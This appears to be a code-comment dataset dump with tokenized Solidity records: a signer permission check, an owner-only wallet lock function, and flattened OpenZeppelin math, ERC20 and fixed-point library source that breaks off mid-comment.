bool hasPermissions = hasRole(DEFAULT_ADMIN_ROLE, _signer);
if (!hasPermissions) {
bytes32 targetHash = keccak256(abi.encode(_getSelector(_data), _target));
hasPermissions =
hasRole(SIGNER_ROLE, _signer) &&
(isApprovedFor[_signer][targetHash] ||
isApprovedForContract[_signer][_target] ||
isApprovedForFunction[_signer][_getSelector(_data)]);
}
require(hasPermissions, "Account: unauthorized signer.");
}
| 11,621,610 | [
1,
9594,
326,
4371,
434,
326,
10363,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
5662,
6521,
12,
203,
3639,
1758,
389,
2977,
264,
16,
203,
3639,
1758,
389,
3299,
16,
203,
3639,
1731,
745,
892,
389,
892,
203,
565,
262,
2713,
1476,
288,
203,
3639,
1426,
711,
6521,
273,
28335,
12,
5280,
67,
15468,
67,
16256,
16,
389,
2977,
264,
1769,
203,
203,
3639,
309,
16051,
5332,
6521,
13,
288,
203,
5411,
1731,
1578,
1018,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
588,
4320,
24899,
892,
3631,
389,
3299,
10019,
203,
5411,
711,
6521,
273,
203,
7734,
28335,
12,
11260,
654,
67,
16256,
16,
389,
2977,
264,
13,
597,
203,
7734,
261,
291,
31639,
1290,
63,
67,
2977,
264,
6362,
3299,
2310,
65,
747,
203,
10792,
353,
31639,
1290,
8924,
63,
67,
2977,
264,
6362,
67,
3299,
65,
747,
203,
10792,
353,
31639,
1290,
2083,
63,
67,
2977,
264,
6362,
67,
588,
4320,
24899,
892,
13,
19226,
203,
3639,
289,
203,
203,
3639,
2583,
12,
5332,
6521,
16,
315,
3032,
30,
640,
8434,
10363,
1199,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x4e9bBd716E045D2bA93a0cdf0e7aF7F34B9a4745/sources/CbmToken.sol | * @dev 지갑의 입급/출금을 지정된 시간까지 제한시킨다. 제한 시간이 경과하면 모든 제한이 해제된다. @param _targetWallet 제한을 적용할 지갑 주소 @param _timeLockUpEnd 제한이 종료되는 시간(UnixTimestamp)/ | function walletLockBoth(address _targetWallet, uint _timeLockUpEnd) onlyOwner public {
walletLock(_targetWallet, _timeLockUpEnd, true, true);
}
| 2,643,841 | [
1,
173,
105,
227,
171,
113,
244,
173,
256,
251,
225,
173,
257,
232,
171,
121,
236,
19,
173,
119,
255,
171,
121,
235,
173,
256,
231,
225,
173,
105,
227,
173,
259,
248,
172,
243,
255,
225,
173,
238,
255,
171,
113,
231,
171,
122,
239,
173,
105,
227,
225,
173,
259,
255,
174,
248,
255,
173,
238,
255,
174,
229,
106,
172,
238,
102,
18,
225,
173,
259,
255,
174,
248,
255,
225,
173,
238,
255,
171,
113,
231,
173,
256,
117,
225,
171,
115,
126,
171,
116,
125,
174,
248,
251,
172,
107,
117,
225,
172,
108,
106,
172,
246,
259,
225,
173,
259,
255,
174,
248,
255,
173,
256,
117,
225,
174,
248,
117,
173,
259,
255,
172,
243,
255,
172,
238,
102,
18,
225,
389,
3299,
16936,
225,
173,
259,
255,
174,
248,
255,
173,
256,
231,
225,
173,
259,
228,
173,
253,
107,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
9230,
2531,
20240,
12,
2867,
389,
3299,
16936,
16,
2254,
389,
957,
2531,
1211,
1638,
13,
1338,
5541,
1071,
288,
203,
3639,
9230,
2531,
24899,
3299,
16936,
16,
389,
957,
2531,
1211,
1638,
16,
638,
16,
638,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-05-15
*/
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/common/implementation/FixedPoint.sol
pragma solidity ^0.6.0;
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// Can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5**18`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
// File: contracts/common/interfaces/ExpandedIERC20.sol
pragma solidity ^0.6.0;
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
